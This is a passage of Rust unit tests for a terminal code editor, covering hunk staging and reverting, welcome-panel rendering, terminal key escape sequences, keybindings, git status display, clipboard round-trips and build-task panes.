        .start_selection(crate::widgets::diff::DiffSide::Right, 1, 0);
    app.handle_key(key(KeyCode::Char('s'), KeyModifiers::NONE))
        .unwrap();
    let staged = git_stdout_in(tmp.path(), &["diff", "--cached"]);
    assert!(
        staged.contains("+LINE2"),
        "hunk 1 must land in the index: {staged}"
    );
    assert!(
        !staged.contains("LINE18"),
        "hunk 2 must stay unstaged: {staged}"
    );
    let unstaged = git_stdout_in(tmp.path(), &["diff"]);
    assert!(
        unstaged.contains("+LINE18"),
        "hunk 2 must remain a working-tree change: {unstaged}"
    );
}

#[test]
fn pressing_s_with_no_caret_stages_the_first_visible_hunk() {
    // Right after opening, the diff parks the first hunk in view; with no
    // click yet, S must act on that hunk, not silently no-op.
    let (tmp, mut app) = scm_two_hunk_app();
    app.handle_key(key(KeyCode::Char('s'), KeyModifiers::NONE))
        .unwrap();
    let staged = git_stdout_in(tmp.path(), &["diff", "--cached"]);
    assert!(
        staged.contains("+LINE2") && !staged.contains("LINE18"),
        "the first hunk is the default target: {staged}"
    );
}

#[test]
fn pressing_u_in_a_scm_diff_unstages_only_the_hunk_under_the_caret() {
    let (tmp, mut app) = scm_two_hunk_app();
    let ok = std::process::Command::new("git")
        .args(["add", "f.txt"])
        .current_dir(tmp.path())
        .output()
        .unwrap()
        .status
        .success();
    assert!(ok);
    app.editor
        .diff
        .as_mut()
        .unwrap()
        .start_selection(crate::widgets::diff::DiffSide::Right, 1, 0);
    app.handle_key(key(KeyCode::Char('u'), KeyModifiers::NONE))
        .unwrap();
    let staged = git_stdout_in(tmp.path(), &["diff", "--cached"]);
    assert!(
        !staged.contains("LINE2"),
        "hunk 1 must leave the index: {staged}"
    );
    assert!(
        staged.contains("+LINE18"),
        "hunk 2 must stay staged: {staged}"
    );
}

#[test]
fn pressing_r_in_a_scm_diff_confirms_then_reverts_only_that_hunk() {
    let (tmp, mut app) = scm_two_hunk_app();
    app.editor
        .diff
        .as_mut()
        .unwrap()
        .start_selection(crate::widgets::diff::DiffSide::Right, 1, 0);
    app.handle_key(key(KeyCode::Char('r'), KeyModifiers::NONE))
        .unwrap();
    // Destructive: nothing may change until the confirm.
    let before = std::fs::read_to_string(tmp.path().join("f.txt")).unwrap();
    assert!(
        before.contains("LINE2"),
        "revert must wait for the confirm popup"
    );
    app.handle_key(key(KeyCode::Char('y'), KeyModifiers::NONE))
        .unwrap();
    let after = std::fs::read_to_string(tmp.path().join("f.txt")).unwrap();
    assert!(
        after.contains("line2") && !after.contains("LINE2"),
        "hunk 1 must be reverted: {after}"
    );
    assert!(
        after.contains("LINE18"),
        "hunk 2 must survive the revert: {after}"
    );
}

#[test]
fn revert_hunk_confirm_cancels_on_n() {
    let (tmp, mut app) = scm_two_hunk_app();
    app.handle_key(key(KeyCode::Char('r'), KeyModifiers::NONE))
        .unwrap();
    app.handle_key(key(KeyCode::Char('n'), KeyModifiers::NONE))
        .unwrap();
    let content = std::fs::read_to_string(tmp.path().join("f.txt")).unwrap();
    assert!(
        content.contains("LINE2") && content.contains("LINE18"),
        "Esc/N must leave the working tree untouched"
    );
}

/// The user dislikes underlined text in the welcome panel: it adds visual
/// noise. Assert the rendered buffer contains zero cells with the UNDERLINED
/// modifier so this preference is enforced by the test suite.
#[test]
fn welcome_panel_renders_without_any_underlined_cells() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.welcome.set_test_notes(vec![
        note_fixture(crate::release_notes::NoteKind::Feature, "Did a new thing"),
        note_fixture(crate::release_notes::NoteKind::Fix, "Fixed an old thing"),
    ]);
    let area = Rect {
        x: 0,
        y: 0,
        width: 120,
        height: 30,
    };
    let backend = ratatui::backend::TestBackend::new(area.width, area.height);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render_welcome(f, area)).unwrap();
    let buffer = term.backend().buffer();
    for y in 0..area.height {
        for x in 0..area.width {
            let cell = &buffer[(x, y)];
            assert!(
                !cell.modifier.contains(Modifier::UNDERLINED),
                "cell at ({x}, {y}) symbol={:?} has UNDERLINED set; the welcome panel must render no underlines",
                cell.symbol()
            );
        }
    }
}

#[test]
fn welcome_panel_does_not_paint_the_blazingly_fast_slogan_footer() {
    // The user asked to drop the chevron-bracketed
    // "Blazingly fast by design. Secure by default. Loved by developers."
    // line. Render the welcome panel into a buffer and confirm none
    // of the slogan fragments appear anywhere on the canvas.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let area = Rect {
        x: 0,
        y: 0,
        width: 120,
        height: 40,
    };
    let backend = ratatui::backend::TestBackend::new(area.width, area.height);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render_welcome(f, area)).unwrap();
    let buffer = term.backend().buffer();
    for y in 0..area.height {
        let mut row = String::new();
        for x in 0..area.width {
            row.push_str(buffer[(x, y)].symbol());
        }
        for needle in [
            "Blazingly fast by design",
            "Secure by default",
            "Loved by developers",
        ] {
            assert!(
                !row.contains(needle),
                "welcome row {y} still carries removed slogan {needle:?}: {row:?}"
            );
        }
    }
}

#[test]
fn render_welcome_does_not_panic_in_default_80x25_with_many_notes() {
    // Repro for the index-(41,70) panic at startup: ratatui's initial
    // backend size is 80x25 before the alt-screen reflow. With a long
    // highlights list the box could compute taller than 25, run past the
    // buffer, and panic inside set_string — so clamp to the area.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.welcome.set_test_notes(
        (0..40)
            .map(|_| {
                note_fixture(
                    crate::release_notes::NoteKind::Feature,
                    "this is a long highlight summary that will wrap to multiple lines on a narrow column",
                )
            })
            .collect(),
    );
    let area = Rect {
        x: 0,
        y: 0,
        width: 80,
        height: 25,
    };
    let backend = ratatui::backend::TestBackend::new(area.width, area.height);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render_welcome(f, area)).unwrap();
}

/// The focused pane's box is drawn in HEAVY glyphs and an unfocused one
/// in light, so which pane owns the keyboard reads from weight and not
/// only from colour (#470). Both weights keep the rounded corners: there
/// is no heavy arc glyph, and the corners are the house look every other
/// caller of the gradient box shares.
#[test]
fn the_gradient_box_comes_in_two_weights() {
    use ratatui::buffer::Buffer;
    let area = ratatui::layout::Rect {
        x: 0,
        y: 0,
        width: 8,
        height: 4,
    };
    let sym = |b: &Buffer, x: u16, y: u16| b[(x, y)].symbol().to_string();

    let mut light = Buffer::empty(area);
    crate::gradient::paint_gradient_box(&mut light, area);
    let mut heavy = Buffer::empty(area);
    crate::gradient::paint_gradient_box_heavy(&mut heavy, area);

    // All four edges, not just two: the bug this was written for replaced
    // one horizontal edge and left the other light, so a test that reads
    // only the top would miss its own inverse.
    for (x, y, what) in [(3u16, 0u16, "top"), (3, 3, "bottom")] {
        assert_eq!(sym(&light, x, y), "\u{2500}", "light {what} edge");
        assert_eq!(sym(&heavy, x, y), "\u{2501}", "heavy {what} edge");
    }
    for (x, y, what) in [(0u16, 1u16, "left"), (7, 1, "right")] {
        assert_eq!(sym(&light, x, y), "\u{2502}", "light {what} edge");
        assert_eq!(sym(&heavy, x, y), "\u{2503}", "heavy {what} edge");
    }
    // The corners are shared, which is what keeps the two boxes the same
    // shape rather than two different visual languages.
    for (x, y) in [(0, 0), (7, 0), (0, 3), (7, 3)] {
        assert_eq!(
            sym(&light, x, y),
            sym(&heavy, x, y),
            "corner ({x},{y}) is the same arc in both weights"
        );
    }
}

#[test]
fn paint_gradient_box_draws_rounded_corners_with_corner_colours() {
    let rect = Rect {
        x: 0,
        y: 0,
        width: 8,
        height: 4,
    };
    let mut buf = ratatui::buffer::Buffer::empty(rect);
    paint_gradient_box(&mut buf, rect);
    assert_eq!(buf[(0, 0)].symbol(), "\u{256d}", "top-left rounded");
    assert_eq!(buf[(7, 0)].symbol(), "\u{256e}", "top-right rounded");
    assert_eq!(buf[(0, 3)].symbol(), "\u{2570}", "bottom-left rounded");
    assert_eq!(buf[(7, 3)].symbol(), "\u{256f}", "bottom-right rounded");
    assert_eq!(buf[(3, 0)].symbol(), "\u{2500}", "top edge horizontal");
    assert_eq!(buf[(0, 1)].symbol(), "\u{2502}", "left edge vertical");
    // Top-left cell carries the GRAD_TL fg colour exactly.
    let tl_fg = buf[(0, 0)].fg;
    assert_eq!(tl_fg, rgb_color(GRAD_TL));
    let tr_fg = buf[(7, 0)].fg;
    assert_eq!(tr_fg, rgb_color(GRAD_TR));
}

#[test]
fn welcome_tagline_constant_is_present() {
    assert!(WELCOME_TAGLINE.contains("LIGHTWEIGHT"));
    assert!(WELCOME_TAGLINE.contains("BLAZINGLY FAST"));
    assert!(WELCOME_TAGLINE.contains("DEVELOPERS"));
}

#[test]
fn modified_terminal_keys_keep_their_modifiers() {
    let k = |c, m| key_to_bytes(key(c, m), false);
    assert_eq!(k(KeyCode::Backspace, KeyModifiers::ALT), b"\x1b\x7f");
    assert_eq!(k(KeyCode::Char(' '), KeyModifiers::CONTROL), vec![0x00]);
    assert_eq!(k(KeyCode::Char('/'), KeyModifiers::CONTROL), vec![0x1f]);
    assert_eq!(
        k(
            KeyCode::Char('a'),
            KeyModifiers::CONTROL | KeyModifiers::ALT
        ),
        b"\x1b\x01"
    );
    assert_eq!(k(KeyCode::Left, KeyModifiers::CONTROL), b"\x1b[1;5D");
    assert_eq!(k(KeyCode::Right, KeyModifiers::SHIFT), b"\x1b[1;2C");
    assert_eq!(k(KeyCode::Home, KeyModifiers::CONTROL), b"\x1b[1;5H");
    assert_eq!(k(KeyCode::Delete, KeyModifiers::CONTROL), b"\x1b[3;5~");
    // Alt alone on Left/Right stays readline's word motion.
    assert_eq!(k(KeyCode::Left, KeyModifiers::ALT), b"\x1bb");
}

#[test]
fn key_to_bytes_arrows() {
    assert_eq!(
        key_to_bytes(key(KeyCode::Up, KeyModifiers::NONE), false),
        b"\x1b[A"
    );
    assert_eq!(
        key_to_bytes(key(KeyCode::Down, KeyModifiers::NONE), false),
        b"\x1b[B"
    );
    assert_eq!(
        key_to_bytes(key(KeyCode::Right, KeyModifiers::NONE), false),
        b"\x1b[C"
    );
    assert_eq!(
        key_to_bytes(key(KeyCode::Left, KeyModifiers::NONE), false),
        b"\x1b[D"
    );
}

/// DECCKM on: cursor keys switch to the SS3 form; keys outside the cursor
/// group are unaffected.
#[test]
fn key_to_bytes_arrows_in_app_cursor_mode_use_ss3() {
    for (code, seq) in [
        (KeyCode::Up, b"\x1bOA"),
        (KeyCode::Down, b"\x1bOB"),
        (KeyCode::Right, b"\x1bOC"),
        (KeyCode::Left, b"\x1bOD"),
        (KeyCode::Home, b"\x1bOH"),
        (KeyCode::End, b"\x1bOF"),
    ] {
        assert_eq!(key_to_bytes(key(code, KeyModifiers::NONE), true), seq);
    }
    assert_eq!(
        key_to_bytes(key(KeyCode::PageUp, KeyModifiers::NONE), true),
        b"\x1b[5~"
    );
    assert_eq!(
        key_to_bytes(key(KeyCode::Enter, KeyModifiers::NONE), true),
        b"\r"
    );
}

#[test]
fn key_to_bytes_enter_tab_backspace() {
    assert_eq!(
        key_to_bytes(key(KeyCode::Enter, KeyModifiers::NONE), false),
        b"\r"
    );
    assert_eq!(
        key_to_bytes(key(KeyCode::Tab, KeyModifiers::NONE), false),
        b"\t"
    );
    assert_eq!(
        key_to_bytes(key(KeyCode::Backspace, KeyModifiers::NONE), false),
        &[0x7f]
    );
}

#[test]
fn key_to_bytes_ctrl_letter_maps_to_control_byte() {
    let bytes = key_to_bytes(key(KeyCode::Char('c'), KeyModifiers::CONTROL), false);
    assert_eq!(bytes, vec![0x03]);
    let bytes = key_to_bytes(key(KeyCode::Char('a'), KeyModifiers::CONTROL), false);
    assert_eq!(bytes, vec![0x01]);
    let bytes = key_to_bytes(key(KeyCode::Char('z'), KeyModifiers::CONTROL), false);
    assert_eq!(bytes, vec![0x1a]);
}

#[test]
fn key_to_bytes_alt_letter_prefixes_esc() {
    let bytes = key_to_bytes(key(KeyCode::Char('x'), KeyModifiers::ALT), false);
    assert_eq!(bytes, vec![0x1b, b'x']);
}

#[test]
fn key_to_bytes_alt_left_emits_esc_b_for_readline_backward_word() {
    let bytes = key_to_bytes(key(KeyCode::Left, KeyModifiers::ALT), false);
    assert_eq!(
        bytes, b"\x1bb",
        "Option+Left in the terminal must send ESC b so zsh/bash readline runs backward-word"
    );
}

#[test]
fn key_to_bytes_alt_right_emits_esc_f_for_readline_forward_word() {
    let bytes = key_to_bytes(key(KeyCode::Right, KeyModifiers::ALT), false);
    assert_eq!(
        bytes, b"\x1bf",
        "Option+Right in the terminal must send ESC f so zsh/bash readline runs forward-word"
    );
}

#[test]
fn key_to_bytes_plain_arrows_unchanged_when_alt_not_held() {
    assert_eq!(
        key_to_bytes(key(KeyCode::Left, KeyModifiers::NONE), false),
        b"\x1b[D"
    );
    assert_eq!(
        key_to_bytes(key(KeyCode::Right, KeyModifiers::NONE), false),
        b"\x1b[C"
    );
}

#[test]
fn key_to_bytes_plain_char_utf8() {
    assert_eq!(
        key_to_bytes(key(KeyCode::Char('a'), KeyModifiers::NONE), false),
        b"a"
    );
    assert_eq!(
        key_to_bytes(key(KeyCode::Char('é'), KeyModifiers::NONE), false),
        "é".as_bytes()
    );
}

#[test]
fn key_to_bytes_function_keys() {
    assert_eq!(
        key_to_bytes(key(KeyCode::F(1), KeyModifiers::NONE), false),
        b"\x1bOP"
    );
    assert_eq!(
        key_to_bytes(key(KeyCode::F(5), KeyModifiers::NONE), false),
        b"\x1b[15~"
    );
    assert_eq!(
        key_to_bytes(key(KeyCode::F(12), KeyModifiers::NONE), false),
        b"\x1b[24~"
    );
}

#[test]
fn key_to_bytes_unknown_returns_empty() {
    assert!(key_to_bytes(key(KeyCode::CapsLock, KeyModifiers::NONE), false).is_empty());
}

#[test]
fn ctrl_s_is_save_key() {
    assert!(is_save_key(key(KeyCode::Char('s'), KeyModifiers::CONTROL)));
}

#[test]
fn cmd_s_is_save_key() {
    assert!(is_save_key(key(KeyCode::Char('s'), KeyModifiers::SUPER)));
}

#[test]
fn cmd_w_and_ctrl_shift_w_close_terminal_but_plain_ctrl_w_does_not() {
    // Cmd+W is the primary terminal-close chord; Ctrl+Shift+W stays as a
    // legacy fallback.
    assert!(is_terminal_close_key(key(
        KeyCode::Char('w'),
        KeyModifiers::SUPER
    )));
    assert!(is_terminal_close_key(key(
        KeyCode::Char('w'),
        KeyModifiers::CONTROL | KeyModifiers::SHIFT
    )));
    // Plain Ctrl+W must NOT close the terminal: it is the shell's
    // delete-word-backward, and hijacking it would break readline editing.
    assert!(!is_terminal_close_key(key(
        KeyCode::Char('w'),
        KeyModifiers::CONTROL
    )));
}

#[test]
fn cmd_dot_and_ctrl_dot_are_quick_fix_key() {
    // VS Code binds Quick Fix to Cmd+. on macOS (arrives as Char('.')+SUPER via
    // the iTerm2/Ghostty CSI-u forwarder) and Ctrl+. on Linux/Termux.
    assert!(is_quick_fix_key(key(
        KeyCode::Char('.'),
        KeyModifiers::SUPER
    )));
    assert!(is_quick_fix_key(key(
        KeyCode::Char('.'),
        KeyModifiers::CONTROL
    )));
}

#[test]
fn plain_dot_and_modified_dot_are_not_quick_fix_key() {
    assert!(!is_quick_fix_key(key(
        KeyCode::Char('.'),
        KeyModifiers::NONE
    )));
    // Shift+. is '>' territory and Alt+. is the shell's last-arg; neither is
    // Quick Fix.
    assert!(!is_quick_fix_key(key(
        KeyCode::Char('.'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT
    )));
    assert!(!is_quick_fix_key(key(
        KeyCode::Char('.'),
        KeyModifiers::ALT
    )));
}

#[test]
fn shift_ctrl_s_is_save_key() {
    // Some terminals report capital S with Ctrl pressed.
    let mods = KeyModifiers::CONTROL | KeyModifiers::SHIFT;
    assert!(is_save_key(key(KeyCode::Char('S'), mods)));
}

#[test]
fn plain_s_is_not_save_key() {
    assert!(!is_save_key(key(KeyCode::Char('s'), KeyModifiers::NONE)));
}

#[test]
fn ctrl_q_is_not_save_key() {
    assert!(!is_save_key(key(KeyCode::Char('q'), KeyModifiers::CONTROL)));
}

#[test]
fn alt_s_is_not_save_key() {
    assert!(!is_save_key(key(KeyCode::Char('s'), KeyModifiers::ALT)));
}

#[test]
fn git_status_spans_empty_when_not_in_repo() {
    let st = crate::git::GitStatus::default();
    let spans = git_status_spans(&st);
    assert!(spans.is_empty(), "no git pill outside a git repo");
}

#[test]
fn git_status_spans_clean_branch_is_green() {
    // Agnoster convention: clean working tree → green pill.
    let st = crate::git::GitStatus {
        in_repo: true,
        branch: Some("main".into()),
        detached_hash: None,
        dirty: false,
        ahead: 0,
        behind: 0,
        head_oid: None,
        ignored: std::sync::Arc::default(),
        repo_root: None,
        changed_count: 0,
    };
    let spans = git_status_spans(&st);
    let main_span = spans
        .iter()
        .find(|s| s.content.contains("main"))
        .expect("branch span");
    assert_eq!(main_span.style.fg, Some(GIT_CLEAN_COLOR));
}

#[test]
fn git_status_spans_dirty_branch_is_yellow_not_red() {
    // Agnoster convention: dirty working tree → yellow/orange pill.
    // No red bullet either — colour alone carries the state.
    let st = crate::git::GitStatus {
        in_repo: true,
        branch: Some("main".into()),
        detached_hash: None,
        dirty: true,
        ahead: 0,
        behind: 0,
        head_oid: None,
        ignored: std::sync::Arc::default(),
        repo_root: None,
        changed_count: 0,
    };
    let spans = git_status_spans(&st);
    let joined: String = spans.iter().map(|s| s.content.as_ref()).collect();
    assert!(
        !joined.contains('●'),
        "no red bullet — colour signals dirtiness"
    );
    let main_span = spans
        .iter()
        .find(|s| s.content.contains("main"))
        .expect("branch span");
    assert_eq!(main_span.style.fg, Some(GIT_DIRTY_COLOR));
}

#[test]
fn git_status_spans_renders_detached_hash_when_no_branch() {
    let st = crate::git::GitStatus {
        in_repo: true,
        branch: None,
        detached_hash: Some("abc1234".into()),
        dirty: false,
        ahead: 0,
        behind: 0,
        head_oid: None,
        ignored: std::sync::Arc::default(),
        repo_root: None,
        changed_count: 0,
    };
    let spans = git_status_spans(&st);
    let joined: String = spans.iter().map(|s| s.content.as_ref()).collect();
    assert!(joined.contains("abc1234"));
}

#[test]
fn git_status_spans_renders_ahead_behind_counts() {
    let st = crate::git::GitStatus {
        in_repo: true,
        branch: Some("main".into()),
        detached_hash: None,
        dirty: false,
        ahead: 2,
        behind: 1,
        head_oid: None,
        ignored: std::sync::Arc::default(),
        repo_root: None,
        changed_count: 0,
    };
    let spans = git_status_spans(&st);
    let joined: String = spans.iter().map(|s| s.content.as_ref()).collect();
    assert!(joined.contains("↑2"));
    assert!(joined.contains("↓1"));
}

#[test]
fn ctrl_shift_f_jumps_to_search() {
    let mods = KeyModifiers::CONTROL | KeyModifiers::SHIFT;
    assert!(is_search_jump_key(key(KeyCode::Char('F'), mods)));
}

#[test]
fn cmd_shift_f_jumps_to_search() {
    let mods = KeyModifiers::SUPER | KeyModifiers::SHIFT;
    assert!(is_search_jump_key(key(KeyCode::Char('F'), mods)));
}

#[test]
fn plain_f_does_not_jump_to_search() {
    assert!(!is_search_jump_key(key(
        KeyCode::Char('f'),
        KeyModifiers::NONE
    )));
}

#[test]
fn ctrl_c_is_editor_copy_key() {
    assert!(is_editor_copy_key(key(
        KeyCode::Char('c'),
        KeyModifiers::CONTROL
    )));
}

#[test]
fn cmd_c_is_editor_copy_key() {
    assert!(is_editor_copy_key(key(
        KeyCode::Char('c'),
        KeyModifiers::SUPER
    )));
}

#[test]
fn plain_c_is_not_editor_copy_key() {
    assert!(!is_editor_copy_key(key(
        KeyCode::Char('c'),
        KeyModifiers::NONE
    )));
}

#[test]
fn ctrl_x_is_editor_cut_key() {
    assert!(is_editor_cut_key(key(
        KeyCode::Char('x'),
        KeyModifiers::CONTROL
    )));
    assert!(is_editor_cut_key(key(
        KeyCode::Char('x'),
        KeyModifiers::SUPER
    )));
    assert!(!is_editor_cut_key(key(
        KeyCode::Char('x'),
        KeyModifiers::NONE
    )));
}

#[test]
fn ctrl_a_is_editor_select_all_key() {
    assert!(is_editor_select_all_key(key(
        KeyCode::Char('a'),
        KeyModifiers::CONTROL
    )));
    assert!(is_editor_select_all_key(key(
        KeyCode::Char('a'),
        KeyModifiers::SUPER
    )));
    assert!(!is_editor_select_all_key(key(
        KeyCode::Char('a'),
        KeyModifiers::NONE
    )));
}

#[test]
fn ctrl_z_is_editor_undo_key() {
    assert!(is_editor_undo_key(key(
        KeyCode::Char('z'),
        KeyModifiers::CONTROL
    )));
    assert!(is_editor_undo_key(key(
        KeyCode::Char('z'),
        KeyModifiers::SUPER
    )));
}

#[test]
fn plain_z_is_not_editor_undo_key() {
    assert!(!is_editor_undo_key(key(
        KeyCode::Char('z'),
        KeyModifiers::NONE
    )));
}

#[test]
fn shift_cmd_z_reserved_for_redo_not_undo() {
    let mods = KeyModifiers::SUPER | KeyModifiers::SHIFT;
    assert!(!is_editor_undo_key(key(KeyCode::Char('z'), mods)));
    // The shifted chord is redo (both Cmd and Ctrl surfaces), and the plain
    // command-modifier Z stays undo, not redo.
    assert!(is_editor_redo_key(key(KeyCode::Char('z'), mods)));
    assert!(is_editor_redo_key(key(
        KeyCode::Char('z'),
        KeyModifiers::CONTROL | KeyModifiers::SHIFT
    )));
    assert!(!is_editor_redo_key(key(
        KeyCode::Char('z'),
        KeyModifiers::SUPER
    )));
    assert!(!is_editor_redo_key(key(
        KeyCode::Char('z'),
        KeyModifiers::CONTROL
    )));
}

#[test]
fn ctrl_shift_c_is_recognized_as_terminal_copy() {
    let mods = KeyModifiers::CONTROL | KeyModifiers::SHIFT;
    assert!(is_terminal_copy_key(key(KeyCode::Char('C'), mods)));
}

#[test]
fn cmd_c_is_recognized_as_terminal_copy() {
    // For terminals that pass Cmd via the kitty protocol; iTerm2 users
    // can also remap ⌘C → Send Hex Code 0x03 for terminal-pane copies,
    // but for keyboard-protocol-aware terminals we accept Super here.
    assert!(is_terminal_copy_key(key(
        KeyCode::Char('c'),
        KeyModifiers::SUPER
    )));
}

#[test]
fn plain_ctrl_c_is_not_terminal_copy() {
    // Ctrl+C must remain SIGINT in the embedded shell; it must not be
    // intercepted as the croft copy gesture.
    assert!(!is_terminal_copy_key(key(
        KeyCode::Char('c'),
        KeyModifiers::CONTROL
    )));
}

/// Cmd+C from the croft terminal pane must land the selection on the
/// real macOS clipboard. This is the user-visible regression test
/// for the long-standing "I copied from croft and pbpaste shows the
/// previous value" bug, where the old OSC 52 path was silently
/// dropped by the host terminal. The contract: writing through
/// `copy_to_clipboard` puts the text on the system pasteboard such
/// that `clipboard::read_string` (which is what Cmd+V uses) returns
/// the same bytes. If this ever fails again, copy/paste between
/// croft and other apps is broken and the test must catch it before
/// the binary ships.
#[cfg(target_os = "macos")]
#[test]
fn copy_to_clipboard_writes_text_to_the_macos_system_pasteboard() {
    let _g = crate::clipboard::lock_clipboard_for_test();
    let sentinel = format!(
        "croft-copy-helper-{}-{}",
        std::process::id(),
        std::time::SystemTime::now()
            .duration_since(std::time::UNIX_EPOCH)
            .map(|d| d.as_nanos())
            .unwrap_or(0)
    );
    let used_native = copy_to_clipboard(&sentinel);
    assert!(
        used_native,
        "on macOS, copy_to_clipboard must succeed via NSPasteboard and return true so the call site can skip the OSC 52 fallback (and the host terminal's quirks can't silently drop the write)"
    );
    let got = crate::clipboard::read_string().expect("read_string must see what we just wrote");
    assert_eq!(
        got, sentinel,
        "round-trip through the system pasteboard must be byte-exact - if this ever drifts, every Cmd+C from croft is silently lossy"
    );
}

/// Tighter regression: a real `App` with a real `PtyTerminal`, a
/// terminal-pane selection, and `App::copy_terminal_selection` must
/// land the text on the macOS system clipboard. Exercises the full
/// wire from PTY bytes → alacritty grid → `selection_text` →
/// `copy_to_clipboard` → `NSPasteboard.setString:forType:` → what
/// `pbpaste` / `NSPasteboard.stringForType:` returns. A refactor
/// that reintroduces an OSC-52-only path in the terminal copy
/// handler would fail this test even if `copy_to_clipboard` itself
/// still resolved to the native path elsewhere.
#[cfg(target_os = "macos")]
#[test]
fn cmd_c_on_terminal_selection_lands_text_on_macos_clipboard() {
    let _g = crate::clipboard::lock_clipboard_for_test();
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();

    // Render once so `terminal.last_inner` is populated and the
    // `start_selection_at` / `extend_selection_to` chord can map
    // viewport coordinates to cell coordinates the way the live
    // input handler does on a real keystroke.
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    app.terminal_mut().focused = true;
    term.draw(|f| app.render(f)).unwrap();

    let probe = format!("croft-terminal-cmdc-{}", std::process::id());
    await_terminal_probe(&mut app, &probe);
    // Re-render to refresh `last_inner` after the grid has grown.
    term.draw(|f| app.render(f)).unwrap();

    let snapshot = app.terminal().visible_text();
    assert!(
        snapshot.contains(&probe),
        "shell must echo the probe within 3s; got:\n{snapshot}"
    );

    let row_idx = snapshot
        .lines()
        .position(|l| l.contains(&probe))
        .expect("probe row must exist");
    let line = snapshot.lines().nth(row_idx).unwrap();
    let col_start = line.find(&probe).unwrap();
    let col_end = col_start + probe.len() - 1;

    let inner = app.terminal().last_inner;
    let screen_y = inner.y + row_idx as u16;
    let screen_x_a = inner.x + col_start as u16;
    let screen_x_b = inner.x + col_end as u16;
    app.terminal_mut().start_selection_at(screen_x_a, screen_y);
    app.terminal_mut().extend_selection_to(screen_x_b, screen_y);
    assert_eq!(
        app.terminal().selection_text(),
        probe,
        "selection_text must reproduce the probe exactly so a Cmd+C copy is byte-faithful"
    );

    app.copy_terminal_selection();
    let got = crate::clipboard::read_string()
        .expect("read_string must surface what copy_terminal_selection just wrote");
    assert_eq!(
        got, probe,
        "after a Cmd+C on a terminal selection, the system clipboard must contain the exact selection text - this is the non-negotiable round-trip the user relies on for every copy out of croft"
    );
}

#[test]
fn cmd_shift_b_runs_the_projects_build_task_in_a_named_pane() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("Makefile"), "build:\n\ttrue\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let before = app.terminals.len();
    app.handle_key(key(
        KeyCode::Char('B'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT,
    ))
    .unwrap();
    assert_eq!(
        app.terminals.len(),
        before + 1,
        "the build task gets its own pane"
    );
    assert_eq!(
        app.terminals[app.active_terminal].label(),
        "Task: make build",
        "the pane is named after the task"
    );
    assert!(app.show_terminal, "the panel reveals");
    assert!(
        matches!(app.focus, Pane::Terminal),
        "focus follows the task"
    );
}

#[test]
fn rerunning_a_task_reuses_its_pane_instead_of_stacking_new_ones() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("Makefile"), "build:\n\ttrue\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let chord = key(
        KeyCode::Char('B'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT,
    );
    app.handle_key(chord).unwrap();
    // Wait for the pane's shell to come back to its prompt so the rerun
    // path sees an idle pane (a busy pane legitimately gets a new one).
    // Load-scaled and LOUD (#397): the fixed 5000ms loop broke out silently
    // on timeout, so under suite load the next step met a pane still busy
    // and the assertion after it misreported the timeout as its own failure.
    crate::test_budget::await_spawned(
        crate::test_budget::tests::TASK_PANE_PROMPT_BASE,
        "the task pane's shell to return to its prompt",
        || app.terminals[app.active_terminal].foreground_is_shell(),
    );
    let after_first = app.terminals.len();
    app.handle_key(chord).unwrap();
    assert_eq!(
        app.terminals.len(),
        after_first,
        "rerunning the same task must reuse its idle pane"
    );
    assert_eq!(
        app.terminals
            .iter()
            .filter(|t| t.label() == "Task: make build")
            .count(),
        1,
        "exactly one pane carries the task's name"
    );
}

#[test]
fn a_reused_task_pane_clears_a_half_typed_prompt_line_first() {
    // A shell sitting at its prompt can hold unsubmitted text in the line
    // editor; writing the task command raw would concatenate with it (the
    // `format_cd_command` test pins the same rule for cd).
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("Makefile"), "build:\n\ttrue\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let chord = key(
        KeyCode::Char('B'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT,
    );
    app.handle_key(chord).unwrap();
    // Load-scaled and LOUD (#397): the fixed 5000ms loop broke out silently
    // on timeout, so under suite load the next step met a pane still busy
    // and the assertion after it misreported the timeout as its own failure.
    crate::test_budget::await_spawned(
        crate::test_budget::tests::TASK_PANE_PROMPT_BASE,
        "the task pane's shell to return to its prompt",
        || app.terminals[app.active_terminal].foreground_is_shell(),
    );
    app.handle_key(chord).unwrap();
    let bytes = app.terminals[app.active_terminal].written_bytes_for_test();
    let needle = b"\x05\x15make build\r";
    assert!(
        bytes.windows(needle.len()).any(|w| w == needle),
        "the reused-pane write must clear the line editor first (Ctrl-E Ctrl-U)"
    );
}

#[test]
fn a_task_pane_from_the_old_workspace_is_not_reused_after_a_re_root() {
    // The pane's shell still sits in workspace A; running B's build task
    // must not execute it there.
    let a = tempfile::tempdir().unwrap();
    let b = tempfile::tempdir().unwrap();
    std::fs::write(a.path().join("Makefile"), "build:\n\ttrue\n").unwrap();
    std::fs::write(b.path().join("Makefile"), "build:\n\ttrue\n").unwrap();
    let mut app = App::new(a.path().to_path_buf()).unwrap();
    let chord = key(
        KeyCode::Char('B'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT,
    );
    app.handle_key(chord).unwrap();
    // Load-scaled and LOUD (#397). The fixed 5000ms loop broke out silently
    // on timeout, and here a still-busy pane passes the assertion below for
    // the wrong reason: a busy pane always gets a sibling, so `after + 1`
    // held without the cwd guard ever being exercised. Failing loudly makes
    // the guard the thing under test.
    crate::test_budget::await_spawned(
